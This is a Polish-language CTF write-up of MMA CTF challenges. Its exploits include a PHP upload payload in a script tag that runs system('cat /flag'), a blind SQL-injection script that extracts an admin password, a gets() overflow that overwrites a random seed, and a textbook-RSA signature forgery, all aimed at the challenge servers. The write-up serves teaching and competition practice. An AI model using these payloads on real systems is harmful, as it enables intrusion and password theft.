Disclaimer: post napisany w równej części przez każdego uczestnika CTFa (każdy opisał zadania rozwiązane przez siebie), ja go tylko złożyłem i wrzuciłem tutaj.

Uczestniczyliśmy (Ja, @Rev, @Shalom, @other019, nazywam i graszka) w MMA CTF, i znowu spróbowaliśmy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
Słowem wyjaśnienia - ja (@msm), @Rev i @Shalom startowaliśmy już razem w CTFach (jak pewnie osoby które czytały poprzednie writeupy - o ile są takie - już wiedzą :P). Natomiast @other019, nazywam i graszka dotychczas startowali razem, w drużynie CatsInBags (https://ctftime.org/team/16134), a na czas tego CTFa dołączyli do nas (być może na stałe).
Mamy nadzieje że opis zadań kogoś zainteresuje, albo nawet komuś się przyda.

<font size="6">Ogólne wrażnia:</span>

CTF zorganizowany porządnie (co ciekawe, bo to pierwszy CTF pod znakiem MMA - nie sprawdzałem kto dokładnie go organizował, ale tu homepage organizatora - https://wiki.mma.club.uec.ac.jp/)
Nie było głupich/niejasnych zadań na zgadywanie jak czasami się zdarza (a stegano było proste), więc to też na plus. Nie spotkaliśmy się z padającymi serwerami, a nawet gdyby się to zdarzyło to te bardziej "intensywne" server-side miały swoje mirrory - ogólnie brawa dla adminów.
Patrząc na końcowy ranking można dojść do wniosku, że zadania dzieliły się na 2 kategorie - łatwe, które miały >200 rozwiązań, oraz trudne które miały ok. 20. Właściwie nie było zadań pomiędzy. Dodatkowo niektóre zadania ewidentnie były trudniejsze niż wskazywałaby liczba punktów.
Administratorzy CTFtime również docenili starania autorów CTFa, i przyznali mu 40 punktów wagi (współczynnik ważny przy przyznawaniu punktów w globalnym rankingu CTFtime) - to dość dużo jak na pierwszy CTF organizowany przez kogoś.

A teraz opisy zadań po kolei. Uwaga, rekordowa ilość dużo tekstu - aż 26 stron:

<font size="6">Uploader (Web, 100p, 146 solves)</span>

Zadanie polegało na exploitowaniu webowego uploadera plików. Uploader pozwalał wrzucić oraz otworzyć dowolny plik, wraz z jego interpretacją przez PHP.

89d6bfd4f6.png

Niemniej plik był wcześniej przetwarzany w celu usunięcia niebezpiecznych tagów. Plik był czyszczony z wszystkich <? oraz php, co komplikowało możliwość oznaczenia zawartości pliku jako skryptu PHP. Procedura usuwania była napisana inteligentnie więc wszelkie próby w stylu zagnieżdżania tagów <<?? i liczenie na to, że skrypt usunie tylko wewnętrzny tag, były nieudane. Tak samo liczenie na kolejność usuwania tagów jak <php? oraz <p<?hp
Podatność polegała na zauważeniu, że jedynie php pisane z małych liter jest usuwane. Co prawda <PHP nie jest poprawnym rozpoczęciem skryptu PHP, ale skrypty można deklarować także w blokach <script> podobnie jak javascript.
Dzięki temu możemy wykonać na serwerze dowolny kod, w tym na przykład poszukać pliku z ciągiem "MMA{" w treści. Finalnie uruchamiamy exploit:

<script language="PHP">
echo system("cat /flag");
</script>

Co ukazuje nam na ekranie szukaną flagę:
MMA{you can run php from script tag}

0796fa10d3.png

<font size="6">Perfect-matching (PPC/Pwn, 200p, 14 solves)</span>
Teoretycznie "najtrudniejsze" zadanie które rozwiązaliśmy. Kosztowało sporo czasu, częściowo przez jego niepoprawne początkowe oznaczenie jako samo PPC.
Serwer przesyłał jako dane wejściowe graf dla którego należało wyznaczyć doskonałe skojarzenie, czyli zbiór krawędzi rozłącznych wierzchołkowo pokrywający wszystkie wierzchołki grafu (trzeba użyć każdego wierzchołka z grafu dokładnie raz). Dostępny był kod serwera i generatora grafów.
Jako, że zadanie było PPC to zabraliśmy się za nie jak za problem algorytmiczny. Jednak okazało się, że solver nie radzi sobie z niektórymi testami. Szybka analiza generatora grafów pozwoliła zauważyć, że jak najbardziej generuje on często przypadki które nie mają rozwiązania (ostatnie 10 z 30 testów nigdy nie miały rozwiązania), ponieważ krawędzi jest za mało i jest wiele izolowanych wierzchołków. Po zgłoszeniu tego problemu organizatorom odpisali, że nie jest to błąd w zadaniu tylko działanie celowe ale dodali do zadania oznaczenie Pwn, co oznaczało że należy wykorzystać podatność aplikacji serwerowej.
Sprawdzarka na serwerze była bardzo prosta i sprawadzała sie do:

for i in range(0, v / 2):
    v1, v2 = map(int, raw_input().split())
        edges.append((v1, v2))
        used_node.extend([v1, v2])
    if len(list(set(used_node))) != v:
        raise Exception() # Wrong Size
    for (v1, v2) in edges: # G includes? (v1,v2)
        pos = bisect.bisect_left(graph[v1], v2)
        if pos == len(graph[v1]) or graph[v1][pos] != v2:
            raise Exception()

gdzie graph był listą list intów.

Czyli sprawdzarka wczytywała od nas krawędzie rozwiązania, sprawdzała czy podaliśmy dobrą liczbę unikalnych wierzchołków a potem testowała czy podane przez nas krawędzie istnieją w rzeczywistości w wejściowym grafie. A my musieliśmy w jakiś sposób poradzić sobie z izolowanymi wierzchołkami które nie miały żadnych krawędzi!

Podatność sprawdzarki polegała tutaj na fakcie, że nigdzie nie było sprawdzane czy v1 jest faktycznie poprawnym wierzchołkiem, jedynie czy można za jego pomocą indeksować listę graph. To oznaczało, że możemy za v1 podstawić liczbę ujemną a sprawdarka nadal uzna to za poprawne rozwiązanie.
Po kilku ślepych uliczkach polegających na próbach dorzucenia ujemnych wierzchołków do poprawnego maksymalnego skojarzenia w wejściowym grafie, postanowiliśmy przepisać solver na wersje opartą tylko i wyłącznie o exploitowaną podatność. Nowy solver wykorzystywał po prostu każdy wierzchołek 2 razy - jako jego wersję "normalną" oraz "ujemną". To plus odpowiednie sortowanie wierzchołków względem rosnącej liczby krawędzi i wybieranie najbardziej samotnych sąsiadów jako parę pozwoliło uzyskać prawie 100% rozwiązywalność zadań.
Finalny solver:

def solve(G, all_vertices_count):
    result = []
    used_vertices = set()
    graph_sorted_by_small_edge_number = G.items()
    if len(used_vertices) >= all_vertices_count:
        break
    graph_sorted_by_small_edge_number = sort_graph(graph_sorted_by_small_edge_number)
    for v1, edges in graph_sorted_by_small_edge_number:
        v1_negative = str(-(all_vertices_count - int(v1)))
        if v1 not in used_vertices:
            if len(used_vertices) >= all_vertices_count:
                break
            usable_neighbours = list(set(edges).difference(used_vertices))
            if len(usable_neighbours) > 1:
                n1, n2 = select_lonely_neighbour(graph_sorted_by_small_edge_number, usable_neighbours,
                                                 used_vertices)
                edge = "%s %s" % (v1, n1)
                result.append(edge)
                edge = "%s %s" % (v1_negative, n2)
                result.append(edge)
                used_vertices.add(v1)
                used_vertices.add(v1_negative)
                used_vertices.add(n1)
                used_vertices.add(n2)
            elif len(usable_neighbours) == 1:
                edge = "%s %s" % (v1, usable_neighbours[0])
                result.append(edge)
                used_vertices.add(v1)
                used_vertices.add(usable_neighbours[0])
        elif v1_negative not in used_vertices:
            usable_neighbours = list(set(edges).difference(used_vertices))
            if len(usable_neighbours) >= 1:
                edge = "%s %s" % (v1_negative, usable_neighbours[0])
                result.append(edge)
                used_vertices.add(v1_negative)
                used_vertices.add(usable_neighbours[0])
    result = result[:all_vertices_count / 2]
    return result

0de6418824.png

plus pypy i dostajemy po chwili:
Congratulations!
FLAG is ''MMA{N3gative Number index...}''

<font size="6">i (PPC, 150p, 16 solves)</span>

Dostajemy kod interpretera jakiegoś języka - maszyny ze stosem (nie wiem nawet w czym pisany ten interpreter był...) oraz skompilowany interpreter. I w tym języku mamy napisać quine (program wypisujący swój własny kod).

Najpierw musimy wykminić jak pisać w tym języku ze źródła. Mamy zestaw jednoznakowych operacji, większość jest oczywista, te bardziej trickowe to:

":" - wrzuca jeszcze raz wierzchołek stosu
"^" - zamienia dwa elementy z wierzchu stosu
"" - ściąga pierwszy element ze stosu, załóżmy że o wartości k i wrzuca k-ty element stosu licząc od zera, od góry
"$" - ściąga pierwszy element ze stosu, jeżeli jest równy zero to program wykonuje się dalej, jeżeli jest różny od zera to ściąga następny element ze stosu (znów załóżmy że o wartości k) i program zaczyna się wykonywać k operacji dalej. k może być ujemne (wtedy się cofnie). Trzeba jeszcze brać pod uwagę że po wykonaniu tej instrukcji program pójdzie jedno pole do przodu. Łatwo się domyślić że posłuży nam to do pisania pętli.

Zanim napiszemy samo quine napiszemy najpierw prosty program, która wypisze nam 5 razy literę A (okaże się że quine będzie się składać praktycznie tylko z dwóch takich pętli). Wygląda to tak:

##1+:#17~^#5#65.<$;

W skrócie: wrzucamy 0 na stos, dodajemy jeden, podwajamy, wrzucamy -17 (o tyle się potem cofniemy), zamieniamy (mamy teraz 1, -17, 1), wrzucamy 5 do porównania (1, -17, 1, 5), wypisujemy A (możemy to zrobić gdzie chcemy bo i tak nie zmieniamy stosu) porównujemy (1, -17, 1), skaczemy do drugiego krzyżyka i mamy na stosie jedynkę (a na początku programu mieliśmy zero, więc pętla chodzi jak trzeba).

Teraz quine. Schemat mojego quine jest taki:

  • wrzucamy na stos kod "właściwego" programu (krzyżykami i kodami ascii) od tyłu
  • tu zaczyna się program właściwy wypisujemy to wrzucanie na stos - lecimy od dołu stosu z pomocą operatora "" i pętli i wypisujemy z krzyżykami jako kody ascii kod programu
  • "" ma tą miłą własność że nie usunął nam kodu programu ze stosu, wypisujemy jeszcze raz od wierzchołka stosu tym razem jako literki i tym razem możemy już usuwać :)

Ostateczny kod:

#59#36#60#55#52#35#94#126#54#49#35#58#43#49#35#46#94#35#95#95#36#62#126#49#35#94#126#52#50#35#58#45#49#35#44#92#46#53#51#35#43#49#35#58#54#52#35#46:#1+#35.\,#1-:#24~^#1~>$__#^.#1+:#16~^#47<$;

i cieszymy się flagą:

ae85e3d6ca.png

<font size="6">Smart Cipher System #1(Crypto, 10pts, 436 solves)</span>
Dostajemy tajemniczy szyfrator tekstu, po chwili zabawy stwierdzamy, że każdemu znaku jest przyporządkowany stały jeden bajt.
Piszemy prosty substitution cipher, robimy sobie tablicę ze wszystkimi znakami i odpalamy całość prostym skryptem w pythonie:

292bb88df2.png

plain="1234567890-=!@#$%^&*()_+qwertyuiop[]asdfghjkl;'\zxcvbnm,./`QWERTYUIOP{}ASDFGHJKL:\"|~ZXCVBNM<>?";
crypted = ["1a","1b","1c","1d","1e","1f","20","21","22","19","16","26","0a","29","0c","0d","0e","47","0f","13","11","12","48","14","5a","60","4e","5b","5d","62","5e","52","58","59","44","46","4a","5c","4d","4f","50","51","53","54","55","24","10","45","63","61","4c","5f","4b","57","56","15","17","18","49","3a","40","2e","3b","3d","42","3e","32","38","39","64","66","2a","3c","2d","2f","30","31","33","34","35","23","0b","65","67","43","41","2c","3f","2b","37","36","25","27","28"]
message = ["36","36","2a","64","4b","4b","4a","21","1e","4b","1f","20","1f","21","4d","4b","1b","1d","19","4f","21","4c","1d","4a","4e","1c","4c","1b","22","4f","22","22","1b","21","4c","20","1d","4f","1f","4c","4a","19","22","1a","66"]

for c in message:
    for i in range(len(crypted)):
        if(crypted[i] == c):
            print plain[i],

<font size="6">Smart Cipher System #2(Crypto, 10pts, 381 solves)</span>
Rozwiązanie identyczne, jeszcze raz generujemy sobie hexy dla wszystkich znaków i odpalamy na wiadomości.

524ac8f660.png

<font size="6">Smart Cipher System #3(Crypto, 30p, 224 solves)</span>
Tutaj było trochę trudniej, zaszyfrowane litery zmieniały się w zależności od pozycji w tekście, postanowiłem podejść trochę bardziej “brutalnie” :)
Dodawanie nowych znaków nie zmienia tych wcześniejszych, więc spokojnie możemy próbować po kolei wszystkie możliwości i dostać flagę w rozsądnym czasie ( < 41 * 36 zapytań)
Skrypt wysyła wszystkie możliwe znaki i dla każdego zwraca dodany hex.

for n in [ q w e r t y u i o p a s d f g h j k l z x c v b n m 1 2 3 4 5 6 7 8 9 0]; do
    A=$n
    curl -s -X POST --data "s=MMA{$A" http://bow.chal.mmactf.link/~scs/crypt5.cgi > tmp1 
    cat tmp1 | sed -n 's/.* \(..\) <.*/\1/p'

    echo $n
done

MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}

<font size="6">Login as admin!(Web, 30p, 318 solves)</span>
Z treści zadania dowiadujemy się “Login as admin. And get the flag! The flag is the password of admin. http://arrive.chal.mmactf.link/login.cgi You can use test:test.”
Po zalogowaniu na test usera, nie dzieje sie nic ciekawego.
Testując proste zapytania sqli znajdujemy podatność.
Hasłem

admin’ or ‘1’=’1 

zalogujemy się z każdego usera, jednak dalej nie daje nam to za wiele. Dlatego próbujemy czegoś takiego admin' or password LIKE 'MMA{%}' or '1'='2

 działa. Hasła dalej nie mamy.

![9cea185dfb.png](//static.4programmers.net/uploads/attachment/9cea185dfb.png)

Ale możemy je zgadnąć korzystając z tego zapytania. 
By to zautomatyzować piszemy skrypt w pythonie.
```python
import requests
import string
#ans='cats_alice_band'
ans=''
for x in xrange(20):
    print 'nowapetla'
    for i in string.ascii_letters+'_':
        p=ans+i+'%'
        psd = "admin' or password LIKE 'mma{"+p+"}' or '1'='2"
        url = 'http://arrive.chal.mmactf.link/login.cgi'
        payload = {'username':'a', 'password':psd}
        r = requests.post(url, data=payload)
        print i
        if 'flag' in r.text:
            print p
            ans+=i
            break

i otrzymujemy flagę MMA{cats_alice_band}.

<font size="6">RPS (Pwn, 50p, 171 solves)</span>
Treść zadania brzmi:

Win 50 games in a row!
nc milkyway.chal.mmactf.link 1641

Oprócz tego dostajemy binarkę, która jest na serwerze i służy do gry z nami w kamień, papier, nożyce.
Uruchamiamy netcata. Widzimy, że program prosi nas o podanie imienia. Odniosłem wrażenie, że kolejność tego co jest losowane jest w jakiś sposób powiazane z nim.
Disasemblujemy ją:

main            proc near               ; DATA XREF: _start+1Do

var_50          = byte ptr -50h
ptr             = dword ptr -20h
var_1C          = dword ptr -1Ch
stream          = qword ptr -18h
var_C           = dword ptr -0Ch
var_8           = dword ptr -8
var_4           = dword ptr -4

push    rbp
mov     rbp, rsp
sub     rsp, 50h
mov     esi, offset modes ; "r"
mov     edi, offset filename ; "/dev/urandom"
call    _fopen
mov     [rbp+stream], rax
mov     rdx, [rbp+stream]
lea     rax, [rbp+ptr]
mov     rcx, rdx        ; stream
mov     edx, 1          ; n
mov     esi, 4          ; size
mov     rdi, rax        ; ptr
call    _fread        ; PUNKT 1
mov     rax, [rbp+stream]
mov     rdi, rax        ; stream
call    _fclose
mov     edi, offset format ; "What's your name: "
mov     eax, 0
call    _printf
mov     rax, cs:stdout@@GLIBC_2_2_5
mov     rdi, rax        ; stream
call    _fflush
lea     rax, [rbp+var_50]
mov     rdi, rax
call    _gets         ; PUNKT 2
lea     rax, [rbp+var_50]
mov     rsi, rax
mov     edi, offset aHiS ; "Hi, %s\n"
mov     eax, 0
call    _printf
mov     edi, offset s   ; "Let's janken"
call    _puts
mov     rax, cs:stdout@@GLIBC_2_2_5
mov     rdi, rax        ; stream
call    _fflush
mov     eax, [rbp+ptr]
mov     edi, eax        ; seed
call    _srand        ; PUNKT 3
mov     [rbp+var_4], 0
jmp     loc_400A7A

Co zauważamy? Najpierw wywoływany jest fread, który czyta 4 bajty z /dev/urandom (oznaczony komentarzem jako "miejsce 1"), a pod koniec jest z tymi 4 bajtami wywoływany srand ("miejsce 3"). Ale jest coś ciekawego pomiędzy - znana z tego że nie nadaje się w zasadzie do niczego funkcja gets, pomiędzy miejscami 1 i 3 ("miejsce 2"). Pozwala ona nadpisać nam wartości na stosie - moglibyśmy kombinować z nadpisaniem adresu powrotu, ale prawie na pewno jest jakeiś ASLR etc włączone, więc nawet nie próbowaliśmy. Za to na pewno możemy nadpisać seeda przekazywanego srandowi - patrząc na stos (podany na początku disassembly, wystarczy że prześlemy coś o długości 52 bajtów (0x30 + 4).

root@tailcall:/tmp#  nc milkyway.chal.mmactf.link 1641
What's your name: msm
Hi, msm
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]R
Rock-Rock
Draw
Game 1/50
Rock? Paper? Scissors? [RPS]R
Rock-Scissors
You win!!
Game 2/50
Rock? Paper? Scissors? [RPS]R
Rock-Rock
Draw
Game 2/50
Rock? Paper? Scissors? [RPS]R
Rock-Paper
You lose

Dlatego można napisać bota, który dowie się kolejności tego co będzie wystawiał komputer, a potem przejdzie 50 gier pod rząd.

Pierwszą myślą było napisanie bota "sieciowego", ale po zastanowieniu - co męczyć się z socketami skoro mamy do dyspozycji binarkę wykonującego się programu. Dlatego wywoływaliśmy po prostu program, ze spreparowanym stdinem. Napisaliśmy do tego proste narzędzie:

from StringIO import StringIO
import subprocess

name = '0123456789012345678901234567890123456789012345678901'
hack = ''

while len(hack) <= 50:
    for c in 'RPS':
        with open('stdin', 'wb') as stdin:
            stdin.write(name + '\n' + '\n'.join(hack + c + '#'))
        with open('stdout', 'wb') as stdout:
            subprocess.call('/tmp/rps', stdin=open('stdin'), stdout=stdout)
        with open('stdout') as stdout:
            if 'win!!' in stdout.readlines()[-3]:
                hack += c
                print hack
                break

Uruchomiliśmy je, i otrzymaliśmy odpowiedź (było to RPSSRSSSRRSPSSSSPRRRSSPPPRRPRRSRSSSPRRRRRSPPPSPSSP).

Następnie tylko uruchomienie netcata z odpowiednim stdinem...:

root@tailcall:/tmp# cat stdin | nc milkyway.chal.mmactf.link 1641
...
...
...
Game 48/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
Game 49/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
Game 50/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Congrats 0123456789012345678901234567890123456789012345678901!!!!
MMA{treed_three_girls}

I flaga jest nasza.

<font size="6">This program cannot be run in DOS mode. (Reverse, 80p, 140 solves)</span>

Zadanie które rozwiązaliśmy trochę omijając (prawdopodobnie) większość trudności. Ale to wina autorów zadania że zostawili furtkę, a nie nas (pierwsza zasada CTFów - wszystko co daje flagę to dobre rozwiązanie).

No więc otworzyliśmy plik wejściowy w IDA, i przyjrzeliśmy się mu baardzo dokładnie.
Program był spakowany i IDA rozpoznawała go jako program DOSowy, ale po dokładnej analizie byliśmy przekonani że to coś więcej. Niestety IDA po wczytaniu programu jako dosową binarkę nie pokazywała większości pliku, więc musieliśmy wczytać go jako binary file. Udało się - nie mysląc o tym więcej, zajeliśmy się analizą surowego kodu. Najpierw znaleźliśmy ten ciekawy napis w pamięci:

aTheFlagIsMmaS  db 'The FLAG is MMA{%s}',0

A następnie ciekawy, ukryty gdzieś w masie innego kodu fragment

seg000:00000410                 mov     byte ptr [eax], 37h ; '7'
seg000:00000413                 mov     byte ptr [eax+1], 61h ; 'a'
seg000:00000417                 mov     byte ptr [eax+2], 33h ; '3'
seg000:0000041B                 mov     byte ptr [eax+3], 35h ; '5'
seg000:0000041F                 mov     byte ptr [eax+4], 68h ; 'h'
seg000:00000423                 mov     byte ptr [eax+5], 78h ; 'x'
seg000:00000427                 mov     byte ptr [eax+6], 62h ; 'b'
seg000:0000042B                 mov     byte ptr [eax+7], 39h ; '9'
seg000:0000042F                 mov     byte ptr [eax+8], 71h ; 'q'
seg000:00000433                 mov     byte ptr [eax+9], 38h ; '8'
seg000:00000437                 mov     byte ptr [eax+0Ah], 31h ; '1'
seg000:0000043B                 mov     byte ptr [eax+0Bh], 66h ; 'f'
seg000:0000043F                 mov     byte ptr [eax+0Ch], 73h ; 's'
seg000:00000443                 mov     byte ptr [eax+0Dh], 67h ; 'g'
seg000:00000447                 mov     byte ptr [eax+0Eh], 36h ; '6'
seg000:0000044B                 call    dword ptr ds:40209Ch

Czyżby? Okazuje się że tak - flagą było MMA{7a35hxb9q81fsg6}. Kolejne zadanie zrobione.

<font size="6">MQAAAA (Misc, 70p, 138 solves)</span>

Wszystie dane w zadaniu to był krótki ciąg tekstowy - na pierwszy rzut oka base64:

I0B+Xk1RQUFBQT09CVVtLmJ3RFIrMXRLY0p0SCkJRHRubTZWbFRtaEtETnxyZHtLNDZFZG1DT2JXVThyYmpSSUFBQT09XiN+QA==

Zaczeliśmy od zdekodowania go:

>>> 'I0B+Xk1RQUFBQT09CVVtLmJ3RFIrMXRLY0p0SCkJRHRubTZWbFRtaEtETnxyZHtLNDZFZG1DT2JXVThyYmpSSUFBQT09XiN+QA=='.decode('base64')
'#@~^MQAAAA==\tUm.bwDR+1tKcJtH)\tDtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@'

Teraz następuje moment, który writeupy zawsze pomijają - czyli długi czas, w którym próbowaliśmy różnych rzeczy (dekodowanie poszczególnych fragmentów jako base64, dekodowanie MQAAAA== i reszty fragmentów oddzielonych tabami jako base64 (wynik to "1\0\0\0" jeśli mnie pamięć nie myli), wszystko na marne.

Ostatecznie doznaliśmy olśnienia i przypomnieliśm sobie o pewnym dawno temu porzuconym (i dobrze) pomyśle na chronienie wartości intelektualnej w sieci - JScript.Encode.
https://en.wikipedia.org/wiki/JScript.Encode.

To dawny, i nietrafaiony, pomysł Microsoftu, w którym programy javascriptowe (i visualbasicowe) były "szyfrowane" za pomocą dość prostego, "tajnego" algorytmu. Oczywiście został on błyskawicznie złamany, narzędzia do deszyfrowania zostały udostępnione w sieci, a cała sprawa zapomniana.

No właśnie, więc musi być sposób na wrócenie tego splątanego base64 do jakiegoś czytelnego formatu. Po szybkim googlowaniu, skorzystaliśmy z https://gist.github.com/bcse/1834878.

Teraz wystarczyło uruchomić:

E:\>scrdec18-VC8.exe in.txt out.txt

I otrzymujemy oryginalną zawartość pliku:

WScript.echo("MMA{the_flag_word_is_obfuscation}")

W sumie skoro flaga i tak jest wypisywana, wychodzi na to że można było obejść te wszystkie problemy, i po prostu wrzucić to base64 do <script language="JScript.Encode">...</script> (czy jaki tam był format), i po uruchomieniu w IE powinno wyświetlić flagę. No ale to dojście do tego z czym mamy do czynienia było 90% zadania, więc ważne że się udało.

<font size="6">Nagoya Castle (Stego, 100p, 243 solves)</span>
Było to pierwsze dostępne zadanie z kategorii steganografii. Pomimo ustalenia jego poziomu trudności przez administratorów zawodów CTF na 100 punktów okazało się być bardzo proste do rozwiązania. Udostępniony plik png załadowaliśmy do aplikacji stegsolve i przejrzeliśmy wszystkie bitplane’y (czyli obrazy złożone z bitów na poszczególnych pozycjach każdego z kanałów). Okazało się, że flaga jest ukrytym obrazem w najmłodszych bitach każdego piksela. Co jest tym bardziej rozczarowujące, gdyż to prawdopodobnie pierwsza rzecz, którą sprawdzi w pliku graficznym każdy rozwiązujący zadanie z kategorii stego.

43927432e8.png

<font size="6">Signer and Verifier (Crypto, 100p, 92 solves)</span>
Twórcy zadania udostępnili dwie usługi o których mowa w tytule. Oprócz podanych do nich adresów opis zadania nie zdradzał nic więcej. W takim razie postanowiliśmy zasypać je przykładowym wejściem i na podstawie ich działania domyślić się o co może tutaj chodzić.

Usługa “signer”:

rev@rev-vm:~$ nc cry1.chal.mmactf.link 44815
1
1
rev@rev-vm:~$ nc cry1.chal.mmactf.link 44815
2
45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820
rev@rev-vm:~$ nc cry1.chal.mmactf.link 44815
-1
167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566508
rev@rev-vm:~$ nc cry1.chal.mmactf.link 44815
abc
Traceback (most recent call last):
  File "signer.py", line 19, in <module>
    m = long(sys.stdin.readline())
ValueError: invalid literal for long() with base 10: 'abc\n'
rev@rev-vm:~$ nc cry1.chal.mmactf.link 44815
*167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509*
Traceback (most recent call last):
  File "signer.py", line 24, in <module>
    print rsa.sign(m, None)[0]
  File "/usr/lib/python2.7/dist-packages/Crypto/PublicKey/RSA.py", line 199, in sign
    return pubkey.pubkey.sign(self, M, K)
  File "/usr/lib/python2.7/dist-packages/Crypto/PublicKey/pubkey.py", line 112, in sign
    return self._sign(M, K)
  File "/usr/lib/python2.7/dist-packages/Crypto/PublicKey/RSA.py", line 250, in _sign
    return (self.key._sign(m),)
ValueError: Ciphertext too large

Oraz “verifier”:

rev@rev-vm:~$ *nc cry1.chal.mmactf.link 44816*
n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509
e = 65537
Sign it!
5280834920736315456855356167461447157051690509069395377036898770613816132794832574231628619256542087401098523952474294478356734884456841986609622758356154008776898300839033259108
*1*
wrong

Powyższe wyjścia pozwalają nam stwierdzić, że mamy do czynienia z prostymi usługami, które z pomocą RSA podpisują i weryfikują dane. Komunikat z usługi weryfikującej może nam sugerować, że w całym zadaniu chodzi o podpisanie podanej liczby. Najbardziej naiwne podejście to oczywiście wysłanie jej do usługi “signer”:

rev@rev-vm:~$ nc cry1.chal.mmactf.link 44816
n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509
e = 65537
Sign it!
73286306487245079666154690116386150149135034564065728072943044163263634252027031320534264370099213640684269213593841121638341242027171424504567496580000764253263
rev@rev-vm:~$ nc cry1.chal.mmactf.link 44815
32863064872450796661546901163861501491350345640657280729430441632636342520270313205342643700992136406842692135938411216383412420271714245045674965800007642532637
By the way, I'm looking forward to the PIDs subsystem of cgroups.

Zadanie nie mogło okazać się aż tak banalne. Jak widać powyżej, istnieje zabezpieczenie niepozwalające podpisać żadnej wygenerowanej dotychczas liczby. Trzeba zatem znaleźć inny sposób.
Liczby podane przez usługę “verifier”, czyli n oraz e to klasyczne nazwy dla pary liczb tworzącej klucz publiczny RSA. Wartość podanych liczb sugeruje nam, że zostały wygenerowane prawidłowo (e to jeden z następujących, “bezpiecznych” wykładników: 3, 5, 17, 257, 65537, a n jest wystarczająco duże, niepozwalając na sfaktoryzowanie jej i bezpośrednie uzyskanie klucza prywatnego). Szukamy więc jeszcze innej podatności.
Bezpośrednie operacje na liczbach, wygenerowane podpisy oraz traceback mówią nam, że chodzi tutaj o “podręcznikowy” (“textbook”) RSA, czyli pierwotną wersję tego systemu szyfrowania bez dodatkowych zabezpieczeń takich jak wyrównanie (padding). RSA bez owego wyrówniania dzięki operacji modulo jest szyfrem homomorficznym. Możemy tą własność przedstawić w następujący sposób:
user image
Oznacza to, że mnożąc ze sobą dwie podpisane liczby dostaniemy również podpisaną tym samym kluczem prywatnym liczbę! Przekładając to na nasz problem: jeżeli zamiast otrzymanej liczby podpiszemy jej czynniki ominiemy zabezpieczenie, które zabrania nam bezpośrednio podpisać całą liczbę.

Pomimo tego, że weryfikowanie liczby było ograniczone czasowo, nie zdecydowaliśmy się na napisanie pełnego bota. Wystarczyło poczekać na wygenerowanie parzystej liczby (ze względu na to, że jeden z czynników wybraliśmy jako stały, tj. liczbę 2) i skopiować odpowiednie liczby bezpośrednio do terminala.

import sys
n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509

f1 = long(sys.stdin.readline())
print (f1 / 2)
f2 = long(sys.stdin.readline())
print (45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820 * f2) % n
MMA{homomorphic_challengers}

<font size="6">How to use (Reverse, 30p, 164 solves)</span>
Wczytujemy plik do IDY, jak zwykle na początku. Dla odmiany, tym razem mamy do czynienia z DLL a nie plikiem wykonywalnym. DLL ma tylko jedną metodę eksportowaną - "fnhowtouse", przyjmującą pojedynczego inta.

Jako że kodu było niewiele, zajeliśmy się przepisywaniem go na bardziej czytelny język (C). Prawie wszystkie funkcje w biblitece były trywialne:

int get_a() { return 'a'; }
int get_b() { return 'b'; }
int get_c() { return 'c'; }
int get_d() { return 'd'; }
int get_e() { return 'e'; }
int get_f() { return 'f'; }
int get_A() { return 'A'; }
int get_M() { return 'M'; }
int get_0() { return '0'; }
int get_1() { return '1'; }
int get_2() { return '2'; }
int get_3() { return '3'; }
int get_4() { return '4'; }
int get_7() { return '7'; }
int get_8() { return '8'; }
int get_9() { return '9'; }
int get_lb() { return '{'; }
int get_rb() { return '}'; }

I zostaje najciekawsza funkcja, czyli fnhowtouse - przepisaliśmy ją do czegoś takiego:

int fnhowtouse(int arg)
{
  v[2] = get_M;
  v[3] = get_M;
  v[11] = get_0;
  v[14] = get_0;
  v[15] = get_0;
  v[16] = get_1;
  v[21] = get_1;
  v[7] = get_c;
  v[12] = get_c;
  v[18] = get_c;
  v[8] = get_7;
  v[20] = get_7;
  v[25] = get_7;
  v[31] = get_e;
  v[32] = get_e;
  v[33] = get_7;
  v[34] = get_e;
  v[38] = get_e;
  v[43] = get_e;
  v[9] = get_d;
  v[26] = get_d;
  v[29] = get_d;
  v[44] = get_d;
  v[4] = get_A;
  v[5] = get_lb;
  v[6] = get_f;
  v[10] = get_9;
  v[13] = get_a;
  v[17] = get_f;
  v[19] = get_8;
  v[22] = get_2;
  v[23] = get_4;
  v[24] = get_9;
  v[27] = get_8;
  v[28] = get_8;
  v[30] = get_9;
  v[35] = get_f;
  v[36] = get_a;
  v[37] = get_9;
  v[39] = get_9;
  v[40] = get_b;
  v[41] = get_3;
  v[42] = get_2;
  v[45] = get_8;
  v[46] = get_rb;
  return v[arg]();
}

Popatrzmy, pierwsze dwie funkcje w tablicy zwracają "MM", a ostatnia zwraca "}". Przypomina coś, prawda?

